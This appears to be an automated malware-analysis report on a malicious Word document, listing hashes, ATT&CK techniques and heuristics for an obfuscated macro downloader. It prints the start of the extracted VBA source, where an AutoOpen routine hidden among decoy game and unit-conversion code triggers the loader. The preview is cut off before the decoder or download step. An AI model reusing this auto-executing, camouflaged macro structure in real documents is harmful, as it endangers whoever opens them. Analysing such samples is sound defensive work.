Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 96afb0f23199547d…

MALICIOUS

Office (OLE)

102.0 KB Created: 2016-05-05 07:51:00 Authoring application: Microsoft Office Word First seen: 2016-05-08
MD5: 36b5d5c6d4745f75bc7ac26987da01fa SHA-1: ea8888d77f04f8c3d4ad45eb623602e74979fe21 SHA-256: 96afb0f23199547d47801eacb9ce4562b87fbb2a68e5a2a2f0aa271d4e336ae0
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate or Decode Files or Information T1204.002 Malicious File

The file contains obfuscated VBA macros, including an AutoOpen function, which is a common loader technique. The presence of CreateObject and CallByName heuristics indicates attempts to execute code. The ClamAV detection and the nature of the heuristics strongly suggest a malicious macro-based downloader.

Heuristics 9

  • ClamAV: Doc.Macro.ObfuscatedData-6136276-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.ObfuscatedData-6136276-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 79632 bytes
SHA-256: 38c80d01d7ddacbd49670d5f17d53bcdd5c068d4ba0d448c50b62d218acdd1a4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Function deletemonsters(a As Integer) As Double
 Dim b As Integer
 If a > 0 Then
 For b = 0 To 16
 plan.ets(a).mon_template(b) = m
 plan.ets(a).mon_noamin(b) = 0
 plan.ets(a).Mon_noamax(b) = 0
 Next
 End If
Randomize
deletemonsters = Rnd
 
End Function
Function makefinalmap(m As Integer) As Integer
 planets(m).darkness = 5
 planets(m).teleport = 1
 f = FreeFile
 Open "data/lstlvl.dat" For Binary As #f
 For Y = 0 To 20
 For X = 0 To 60
 Get #f, , l
 plane.tmap(X, Y, m) = l
 If plane.tmap(X, Y, m) = -80 And rnd_ra.nge(1, 100) < 20 Then plane.tmap(X, Y, m) = -81
 If plane.tmap(X, Y, m) = -54 And rnd_ra.nge(1, 100) < 80 Then plane.tmap(X, Y, m) = -55
 Next
 Next
 Close #f
 p2.X = 31
 p2.Y = 2
 Do
 p = rnd_point(m, 0)
 Loop Until distance(p, p2) > 15
 plane.tmap(p.X, p.Y, m) = -127
 For Y = 0 To 20
 For X = 0 To 60
 If show_all = 1 Then plane.tmap(X, Y, m) = plane.tmap(X, Y, m) * -1
 Next
 Next
 planets(m).Depth = 10
 planets(m).mon_template(0) = makemonster(19, m)
 planets(m).Mon_noamax(0) = 28
 planets(m).mon_noamin(0) = 22
 planets(m).mon_template(1) = makemonster(56, m)
 planets(m).Mon_noamax(1) = 12
 planets(m).mon_noamin(1) = 10
 planets(m).mon_template(2) = makemonster(55, m)
 planets(m).Mon_noamax(2) = 12
 planets(m).mon_noamin(2) = 10
 planets(m).mon_template(3) = makemonster(91, m)
 planets(m).Mon_noamax(3) = 12
 planets(m).mon_noamin(3) = 10
 planets(m).grav = 0.5
 planets(m).atmos = 3
End Function
Sub autoopen()
If deletemonsters(0) > 0 Then
 EnableAddBMPOnLand
End If
End Sub
Public Function EnableDefineBMP() As Boolean
 If Not EnableSustain Then
 EnableDefineBMP = False
 Exit Function
 End If
 'Initialize Map Document
 InitializeMapDocument
 
 'Cannot define BMP, if datasources are not define
 EnableDefineBMP = ModuleUtility.ValidateDataSource
 If (EnableDefineBMP = False) Then
 Exit Function
 End If
 
 'if landuse is not reclassified define BMP cannot be enabled
 Dim pTable As iTable
 Set pTable = GetInputDataTable("Pollutants")
 
 If (pTable Is Nothing) Then
 EnableDefineBMP = False
 Exit Function
 End If
 
 ' Set the value for the Flag....
 EnableDefineBMP = (pTable.RowCount(Nothing) > 0)
End Function
Public Function EnableAddVFS() As Boolean
 
 'Cannot add bmp is BMP is not defined
 EnableAddVFS = EnableDefineBMP
 If (EnableAddVFS = False) Then
 Exit Function
 End If
 Dim pTable As iTable
 Set pTable = GetInputDataTable("VFSDefaults")
 If (pTable Is Nothing) Then
 EnableAddVFS = False
 Exit Function
 End If
 EnableAddVFS = True
 Set pTable = Nothing
 
End Function
Public Function EnableAddBMPOnLand() As Boolean
 'Cannot add bmp is BMP is not defined
 Application.Run "m3ToNm3", 0.9, 0.3, 0.4
 Exit Function
 EnableAddBMPOnLand = EnableDefineBMP
 If (EnableAddBMPOnLand = False) Then
 Exit Function
 End If
 If (pTable Is Nothing) Then
 EnableAddBMPOnLand = False
 Exit Function
 End If
 Set pTable = Nothing
 Set pTable = GetInputD.ataTable("BMPDefaults")
 If (pTable Is Nothing) Then
 EnableAddBMPOnLand = False
 Exit Function
 End If
 EnableAddBMPOnLand = True
End Function


Attribute VB_Name = "Module6"


Public Function feetToMeter(length As Double)
    '*****************************************************
    ' Purpose: convert from feet (US) to meters (SI)
    ' Inputs:
    '           length in feet
    ' Returns:   length in meters
    '*****************************************************
    ' REVISED IN 23 Mar 2013 - OK - Reference: Perry, 1999

    feetToMeter = 3.048 * 10 ^ -1 * length

End Function

Public Function meterToFeet(length As Double)
    '*****************************************************
    ' Purpose: convert from meters (SI) to feet (US)
    ' Inputs:
    '       
... (truncated)